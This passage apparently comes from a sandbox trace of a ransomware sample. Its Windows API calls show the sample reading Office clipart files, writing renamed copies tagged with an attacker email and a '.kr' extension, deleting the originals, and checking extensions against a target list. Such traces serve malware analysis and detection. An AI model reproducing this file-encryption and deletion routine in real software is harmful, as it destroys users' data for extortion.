lpString2=".kr") returned -1 [0105.640] lstrlenW (lpString="AG00174_.GIF") returned 12 [0105.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.641] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3966) returned 1 [0105.641] CloseHandle (hObject=0x338) returned 1 [0105.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0105.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.642] GetLastError () returned 0x0 [0105.642] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0105.644] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf80, lpOverlapped=0x0) returned 1 [0105.645] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.645] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.645] SetEndOfFile (hFile=0x39c) returned 1 [0105.646] CloseHandle (hObject=0x39c) returned 1 [0105.647] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.647] SetEndOfFile (hFile=0x338) returned 1 [0105.647] CloseHandle (hObject=0x338) returned 1 [0105.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0105.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.648] lstrlenW (lpString=".doc") returned 4 [0105.648] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.648] lstrlenW (lpString=".docx") returned 5 [0105.648] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.648] lstrlenW (lpString=".pdf") returned 4 [0105.648] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.648] lstrlenW (lpString=".xls") returned 4 [0105.648] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.648] lstrlenW (lpString=".xlsx") returned 5 [0105.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.648] lstrlenW (lpString=".ppt") returned 4 [0105.648] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.648] lstrlenW (lpString=".zip") returned 4 [0105.648] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.648] lstrlenW (lpString=".rar") returned 4 [0105.648] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.648] lstrlenW (lpString=".bz2") returned 4 [0105.649] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.649] lstrlenW (lpString=".7z") returned 3 [0105.649] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString=".dbf") returned 4 [0105.649] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString=".1cd") returned 4 [0105.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString=".jpg") returned 4 [0105.649] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString=".doc") returned 4 [0105.649] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.649] lstrlenW (lpString=".docx") returned 5 [0105.649] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.649] lstrlenW (lpString=".pdf") returned 4 [0105.649] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.649] lstrlenW (lpString=".xls") returned 4 [0105.649] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.649] lstrlenW (lpString=".xlsx") returned 5 [0105.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.649] lstrlenW (lpString=".ppt") returned 4 [0105.649] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.649] lstrlenW (lpString=".zip") returned 4 [0105.649] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.649] lstrlenW (lpString=".rar") returned 4 [0105.649] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.650] lstrlenW (lpString=".bz2") returned 4 [0105.650] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.650] lstrlenW (lpString=".7z") returned 3 [0105.650] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.650] lstrlenW (lpString=".dbf") returned 4 [0105.650] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.650] lstrlenW (lpString=".1cd") returned 4 [0105.650] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0105.650] lstrlenW (lpString=".jpg") returned 4 [0105.650] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.650] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0105.650] lstrlenW (lpString="AG00175_.GIF") returned 12 [0105.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.651] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3378) returned 1 [0105.651] CloseHandle (hObject=0x338) returned 1 [0105.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0105.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.651] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.651] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.655] GetLastError () returned 0x0 [0105.655] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xd32, lpOverlapped=0x0) returned 1 [0105.656] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xd40, lpOverlapped=0x0) returned 1 [0105.657] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.657] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.657] SetEndOfFile (hFile=0x39c) returned 1 [0105.657] CloseHandle (hObject=0x39c) returned 1 [0105.658] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.658] SetEndOfFile (hFile=0x338) returned 1 [0105.659] CloseHandle (hObject=0x338) returned 1 [0105.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0105.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.659] lstrlenW (lpString=".doc") returned 4 [0105.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.659] lstrlenW (lpString=".docx") returned 5 [0105.660] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.660] lstrlenW (lpString=".pdf") returned 4 [0105.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString=".xls") returned 4 [0105.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString=".xlsx") returned 5 [0105.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.660] lstrlenW (lpString=".ppt") returned 4 [0105.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString=".zip") returned 4 [0105.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString=".rar") returned 4 [0105.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString=".bz2") returned 4 [0105.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.660] lstrlenW (lpString=".7z") returned 3 [0105.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString=".dbf") returned 4 [0105.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString=".1cd") returned 4 [0105.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString=".jpg") returned 4 [0105.660] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.660] lstrlenW (lpString=".doc") returned 4 [0105.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.661] lstrlenW (lpString=".docx") returned 5 [0105.661] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.661] lstrlenW (lpString=".pdf") returned 4 [0105.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.661] lstrlenW (lpString=".xls") returned 4 [0105.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.661] lstrlenW (lpString=".xlsx") returned 5 [0105.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.661] lstrlenW (lpString=".ppt") returned 4 [0105.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.661] lstrlenW (lpString=".zip") returned 4 [0105.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.661] lstrlenW (lpString=".rar") returned 4 [0105.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.661] lstrlenW (lpString=".bz2") returned 4 [0105.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.661] lstrlenW (lpString=".7z") returned 3 [0105.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.661] lstrlenW (lpString=".dbf") returned 4 [0105.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.661] lstrlenW (lpString=".1cd") returned 4 [0105.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0105.661] lstrlenW (lpString=".jpg") returned 4 [0105.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.662] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0105.662] lstrlenW (lpString="AG00176_.GIF") returned 12 [0105.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.662] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3120) returned 1 [0105.662] CloseHandle (hObject=0x338) returned 1 [0105.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0105.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.663] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.663] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.663] GetLastError () returned 0x0 [0105.663] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xc30, lpOverlapped=0x0) returned 1 [0106.044] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xc40, lpOverlapped=0x0) returned 1 [0106.045] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.045] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0106.046] SetEndOfFile (hFile=0x39c) returned 1 [0106.046] CloseHandle (hObject=0x39c) returned 1 [0106.047] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.047] SetEndOfFile (hFile=0x338) returned 1 [0106.048] CloseHandle (hObject=0x338) returned 1 [0106.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0106.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.334] lstrlenW (lpString=".doc") returned 4 [0106.334] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0106.334] lstrlenW (lpString=".docx") returned 5 [0106.334] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0106.334] lstrlenW (lpString=".pdf") returned 4 [0106.334] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0106.334] lstrlenW (lpString=".xls") returned 4 [0106.334] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0106.334] lstrlenW (lpString=".xlsx") returned 5 [0106.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0106.334] lstrlenW (lpString=".ppt") returned 4 [0106.334] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0106.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.334] lstrlenW (lpString=".zip") returned 4 [0106.334] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0106.334] lstrlenW (lpString=".rar") returned 4 [0106.334] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0106.334] lstrlenW (lpString=".bz2") returned 4 [0106.334] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0106.334] lstrlenW (lpString=".7z") returned 3 [0106.334] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0106.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.334] lstrlenW (lpString=".dbf") returned 4 [0106.334] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0106.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.335] lstrlenW (lpString=".1cd") returned 4 [0106.335] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0106.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.335] lstrlenW (lpString=".jpg") returned 4 [0106.335] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.335] lstrlenW (lpString=".doc") returned 4 [0106.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0106.335] lstrlenW (lpString=".docx") returned 5 [0106.335] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0106.335] lstrlenW (lpString=".pdf") returned 4 [0106.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString=".xls") returned 4 [0106.335] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString=".xlsx") returned 5 [0106.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0106.335] lstrlenW (lpString=".ppt") returned 4 [0106.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.335] lstrlenW (lpString=".zip") returned 4 [0106.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString=".rar") returned 4 [0106.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0106.335] lstrlenW (lpString=".bz2") returned 4 [0106.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0106.336] lstrlenW (lpString=".7z") returned 3 [0106.336] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0106.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.336] lstrlenW (lpString=".dbf") returned 4 [0106.336] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0106.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.336] lstrlenW (lpString=".1cd") returned 4 [0106.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0106.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0106.336] lstrlenW (lpString=".jpg") returned 4 [0106.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0106.336] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.336] lstrlenW (lpString="AN01174_.WMF") returned 12 [0106.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.678] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=27858) returned 1 [0106.697] CloseHandle (hObject=0x394) returned 1 